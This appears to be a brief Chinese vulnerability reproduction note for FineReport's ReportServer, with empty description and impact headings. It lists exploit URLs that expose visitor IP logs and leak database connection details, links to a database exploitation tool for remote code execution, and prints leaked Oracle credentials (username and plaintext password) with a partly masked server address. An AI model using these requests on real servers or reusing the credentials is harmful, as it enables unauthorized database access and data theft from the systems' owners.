漏洞描述

漏洞影响

空间测绘

漏洞复现

• 访问ip日志EXP

http://xxx.xxx.xxx.xxx/ReportServer?op=fr_server&cmd=sc_visitstatehtml&showtoolbar=false

• ✅ 数据库信息泄露

http://xxx.xxx.xxx.xxx/ReportServer?op=fr_server&cmd=sc_getconnectioninfo

• ✅ 数据库利用工具RCE

https://github.com/safe6Sec/PentestDB

数据库信息：
{"connection":[{"name":"sdykdx","driver":"oracle.jdbc.driver.OracleDriver","password":"sdykdx","user":"sdykdx","url":"jdbc:oracle:thin:@202.204.xxx.117:1521:orcl"}],"fr_platform_version":1650895353052}